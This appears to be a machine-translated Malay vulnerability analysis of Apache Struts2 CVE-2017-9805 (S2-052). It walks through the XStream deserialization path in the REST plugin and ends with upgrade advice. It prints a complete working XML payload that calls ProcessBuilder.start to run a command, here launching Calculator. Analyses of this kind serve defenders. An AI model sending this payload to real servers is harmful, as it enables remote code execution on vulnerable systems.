Pada 5 September 2017, kelemahan serius yang ditemui oleh penyelidik keselamatan dari organisasi penyelidikan keselamatan asing lgtm.com telah dikeluarkan secara rasmi dalam Apache Struts 2. Nombor kerentanan ialah CVE-2017-9805 ( S2 -052), penyerang boleh memasukkan data xml yang dibina dengan teliti dan melaksanakan arahan jauh.
Komponen XStream bagi pemalam Struts2 REST mempunyai kerentanan penyahserikan Apabila menggunakan komponen XStream untuk menyahsiri paket data dalam format XML, kandungan data tidak disahkan secara berkesan, yang menimbulkan risiko keselamatan dan boleh dilaksanakan oleh alat kawalan jauh. arahan.
Syarat untuk Eksploitasi: Menggunakan pemalam REST dan dalam julat versi yang terjejas.
Kaedah eksploitasi: Penyerang membina paket data berniat jahat untuk eksploitasi jauh.
Versi yang terjejas: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
1) Muat turun kod sumber rasmi:
git klon https ://github.com/apache/Struts.git
2) Tukar ke cawangan 2.5.12:
git checkout STRUTS_2_5_12
3) Salin keseluruhan folder src/apps/rest-showcase dalam pakej sumber Keluar dan buat projek baharu
4) Gunakan IDEA atau eclipse untuk mengimport projek maven
5) Selepas berjalan dalam mod nyahpepijat, anda boleh nyahpepijat dengan gembira
Menurut pengumuman rasmi, kerentanan muncul dalam kelas XstreamHandler, yang terletak dalam pakej struts2-rest-plugin-2.5.12.jar.
Jadi lihat kelas ini, terdapat kaedah toObject dalam kelas ini, fungsinya adalah untuk menyahsiri kandungan xml.
Mula-mula tetapkan titik putus dalam kaedah ini, dan kemudian bina paket data
Selepas menghantar paket data, ia akan melompat ke titik putus Pada masa ini, anda akan melihat Dalam timbunan panggilan atas, ContentTypeInterceptor memanggil kaedah ini
Kaedah pintasan dalam kelas ContentTypeInterceptor akan menjana objek yang sepadan berdasarkan nilai Content-Type yang dihantar masuk. Memandangkan kita sedang meneruskan application/xml, jadi Sejajar menjana objek pemprosesan xml XStreamHandler.
Teruskan ke f5 dan lihat fungsi unmarshal yang melakukan penyahserikatan Tiada semakan keselamatan data apabila fungsi ini dilaksanakan, mengakibatkan pelaksanaan perintah jauh.
Kemudian masukkan fungsi unmarshal dan teruskan penyahpepijatan AbstractReflectionConverter akan menghuraikan tag dan nilai xml yang kami serahkan langkah demi langkah, dan akhirnya memanggil kod dalam poc
Pintas permintaan HTTP dan hantar permintaan Tukar badan kepada POC Payload, dan tukar Pengepala Jenis Kandungan kepada aplikasi/xml.
Muatan muatan ialah:
<map> <entry> <jdk.nashorn.internal.objects.nativestring> <flags>0</flags> <value> <datahandler> <datasource> <is> <cipher> <initialized>false</initialized> <opmode>0</opmode> <serviceiterator> <iter> <iter></iter> <next> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> <redirecterrorstream>false</redirecterrorstream> </next> </iter> <filter> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types></parameter-types> </method> <name>foo</name> </filter> <next>foo</next> </serviceiterator> <lock></lock> </cipher> <input> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </datasource> <transferflavors></transferflavors> </datahandler> <datalen>0</datalen> </value> </jdk.nashorn.internal.objects.nativestring> <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> </entry> <entry> <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> </entry> </map>
Versi 2.5.0 hingga 2.5.12 dinaik taraf kepada versi Struts 2.5.13
Atas ialah kandungan terperinci Analisis contoh kerentanan Struts2-052. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!